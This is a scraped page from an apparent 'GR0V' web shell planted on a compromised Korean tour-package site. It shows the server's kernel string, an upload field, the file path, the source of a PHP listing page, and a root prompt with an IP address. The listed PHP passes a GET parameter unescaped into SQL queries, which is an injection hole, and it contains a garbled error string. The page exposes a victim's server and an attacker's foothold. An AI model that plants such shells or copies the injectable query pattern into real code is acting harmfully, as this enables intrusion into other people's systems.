? GR0V Shell

GR0V shell

Linux www.koreapackagetour.com 2.6.32-042stab145.3 #1 SMP Thu Jun 11 14:05:04 MSK 2020 x86_64

Path : /home/admin/public_html/old/images/
File Upload :
Current File : /home/admin/public_html/old/images/contentlist.php

<? include("header.php");?>
<script src="https://ajax.googleapis.com/ajax/libs/jquery/1.7.2/jquery.min.js"></script>
<script type="text/javascript" src="coin-slider.js"></script>
<link rel="stylesheet" href="coin-slider-styles.css" type="text/css" />


<td colspan="5" bgcolor="#FFFFFF"><div align="center"><table width="829" border="0" cellpadding="0" cellspacing="0" bgcolor="#D3D2B4">
        <tr valign="top">
          <td width="193" bgcolor="#FFFFFF"><? include("menu.php");?></td>
          <td width="632" bgcolor="#FFFFFF"><table width="98%" border="0" cellspacing="0" cellpadding="0">
              <tr>
                <td height="50">&nbsp;</td>
                <td  background="images/tabblank.jpg"><span style="font-size: 12pt; color: #FFF; font-family: Verdana, Arial, Helvetica, sans-serif; font-weight: bold;">&nbsp;&nbsp;&nbsp;หมวดหมู่<strong>:
                  <?
			$sql1="select * from article_category where id='$_GET[PRD]'";
			$result1=mysql_db_query($db,$sql1);
			$rs1=mysql_fetch_array($result1);
			echo "";
			echo $rs1[category_name];
			echo "";
			?>
                </strong></span></td>
              </tr>
              <tr>
                <td width="1%">&nbsp;</td>
                <td width="99%" bgcolor="#FFFFFF"><?
$pages = $_GET['pages'];
$select_types="select * from article  where article_category_id='$_GET[PRD]' order by date desc  ";
$query_selects=mysql_query($select_types);
$num_rowss=mysql_num_rows($query_selects);

if($num_rowss<1){
echo "<br><br><center><b>ยังไม่มีการเพิ่มข้อมูลค่ะ</b></center>";
}else{
		$selects="select * from article  where article_category_id='$_GET[PRD]' order by date desc ";
		$q_rys = mysql_query($selects);
	 	$num_rowss=mysql_num_rows($q_rys);
  		$pagesizes=10;
		$rts=$num_rowss%$pagesizes;
		if($rts!=0)
			{
				$totalpages=floor($num_rowss/$pagesizes)+1;
			}
		else
			{
				$totalpages=floor($num_rows/$pagesizes);
				$toppic_ids=1;
			}
		if(empty($pages))
			{
				$pages=1;
			}
		mysql_free_result($q_rys);
		$gotos=($pages-1)*$pagesizes;
$sql_select_mems="Select * From article where article_category_id='$_GET[PRD]' order by date desc";
		$fects=mysql_query($sql_select_mems);
		if(!$fects)
		{
		("µÔ´µèÍ°Ò¹¢éÍÁÙÅäÁèä´é".mysql_error());
		exit;
		}

	  $bgcounts=0;
	while($rowss=mysql_fetch_array($fects))
	{
$idxs =$rowss['id'];
$productsNameShow = substr($rowss['subject'],0,150);
$imagespicture = $rowss['images'];
$dates = $rowss['date'];
$content = substr($rowss[detail],0,450);
$stats = $rowss['stats'];
$bgcounts=$bgcounts+1;
$bgmods=$bgcounts%2;
if($bgmods==0){
	$bgcolors="#E9E9E8";
}else{
	$bgcolors="#FFFFFF";
}
	?>
                    <table width="611" border="0" cellspacing="1" cellpadding="1" >
                      <tr>
                        <td width="607" height="23"><div align="left">
                            <table width="602" border="0" cellspacing="0" cellpadding="0" >
                              <tr>
                                <td width="29%" rowspan="2" align="center"><table width="200" border="0" cellspacing="0" cellpadding="0">
                                    <tr>
                                      <td width="10"><img src="images/y_01.jpg" width="10" height="7" /></td>
                                      <td width="176"><img src="images/y_02.jpg" width="178" height="7" /></td>
                                      <td width="12"><img src="images/y_03.jpg" width="12" height="7" /></td>
                                    </tr>
                                    <tr>
                                      <td><img src="images/y_04.jpg" width="10" height="90" /></td>
                                      <td><? 
							if ($imagespicture==""){
							echo "
			<img src='images/images_article/no_pic.jpg' WIDTH=150 BORDER=0>";
							}else
							{
echo "<a href=content.php?id=$idxs  class=lightbox rel=flowers><img src='images/images_article/$imagespicture' WIDTH=150  BORDER=0></a>"      ;
			}
?></td>
                                      <td><img src="images/y_06.jpg" width="12" height="90" /></td>
                                    </tr>
                                    <tr>
                                      <td><img src="images/y_07.jpg" width="10" height="14" /></td>
                                      <td><img src="images/y_08.jpg" width="178" height="14" /></td>
                                      <td><img src="images/y_09.jpg" width="12" height="14" /></td>
                                    </tr>
                                </table></td>
                                <td width="71%" height="104" align="left" valign="top"><table width="424" border="0" cellpadding="0" cellspacing="0" class="current">
                                    <tr>
                                      <td width="424"><div align="left" style="font-size: 12pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><? echo "<a href=content.php?id=$idxs>$productsNameShow</a>"; ?><span style="font-size: 8pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"> (<? echo "$dates"; ?></span><span style="font-size: 8pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif">)</span>
                                            <fb:like layout="button_count' href='http://thebridgesmagazine.com/content.php?id='$idxs' "></fb:like>
                                      </div></td>
                                    </tr>
                                    <tr>
                                      <td><? echo "$content..."; ?></td>
                                    </tr>
                                </table></td>
                              </tr>
                              <tr>
                                <td align="right" valign="top"><a href="content.php?id=<?=$idxs?>"><img src="images/read_more_bg.gif" width="76" height="21" border="0" /></a></td>
                              </tr>
                            </table>
                        </div></td>
                      </tr>
                      <tr>
                        <td height="7"><div align="left" style="font-size: 8pt; color: #00ADEF; font-family: Verdana, Arial, Helvetica, sans-serif"><img src="images/line.gif" width="550" height="5" /></div></td>
                      </tr>
                    </table>
                  <?
}
}
?></td>
              </tr>
            </table>
              <table width="630" border="0" cellspacing="0" cellpadding="0">
                <tr>
                  <td></td>
                </tr>
            </table></td>
          <td width="10" bgcolor="#FFFFFF">&nbsp;</td>
        </tr>
          </table></div></td><? include("footer.php");?>
</body>
</html>

T1KUS90T
  root-grov@210.1.60.28:~$